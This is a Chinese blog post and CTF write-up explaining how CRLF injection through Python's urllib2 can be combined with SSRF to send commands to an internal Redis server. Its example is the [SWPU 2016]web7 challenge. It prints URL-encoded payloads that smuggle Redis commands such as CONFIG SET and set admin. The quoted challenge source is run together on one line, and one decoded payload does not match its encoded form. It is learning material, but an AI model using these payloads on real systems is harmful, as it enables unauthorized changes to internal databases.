当前位置: 首页 > news >正文

urllib2 HTTP头部注入

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.lryc.cn/news/263818.html

相关文章:

  • 在 WebRTC 中,Offer/Answer 模型是协商 WebRTC 连接参数的关键部分
  • 数据结构:图解手撕B-树以及B树的优化和索引
  • useConsole的封装,vue,react,htmlscript标签,通用
  • Azure Machine Learning - 提示工程高级技术
  • 七款创意项目管理软件解决方案推荐:高效项目管理与团队协作工具
  • 如何在公网环境下使用Potplayer访问本地群晖webdav中的影视资源
  • 数据可视化Seaborn
  • AWS S3相关配置笔记
  • linux:linux的小动物们(ubuntu)
  • 每日一题(LeetCode)----栈和队列--逆波兰表达式求值
  • 2023年第四届 “赣网杯” 网络安全大赛 gwb-web3 Write UP【PHP 临时函数名特性 + 绕过trim函数】
  • 软件设计师——软件工程(一)
  • 阿里云|人工智能(AI)技术解决方案
  • Axure中继器的使用
  • 猫罐头哪个牌子好性价比高?五大性价比高的品牌推荐
  • 宣布推出 ML.NET 3.0
  • 常见的排序算法---快速排序算法
  • hive企业级调优策略之分组聚合优化
  • 英码科技受邀参加2023计算产业生态大会,分享智慧轨道交通创新解决方案
  • 【openssl】Linux升级openssl-1.0.1到1.1.1
  • 美国联邦机动车安全标准-FMVSS
  • 龙迅LT6211B,HDMI1.4转LVDS,应用于AR/VR市场
  • 解决docker拉取镜像错误 missing signature key 问题
  • 倒计数器:CountDownLatch
  • vue内容渲染
  • Kafka为什么能高效读写数据
  • Flink系列之:Table API Connectors之Debezium
  • 【Python基础】文件读写
  • 电脑风扇控制软件Macs Fan Control mac支持多个型号
  • clangd:Couldn‘t build compiler instance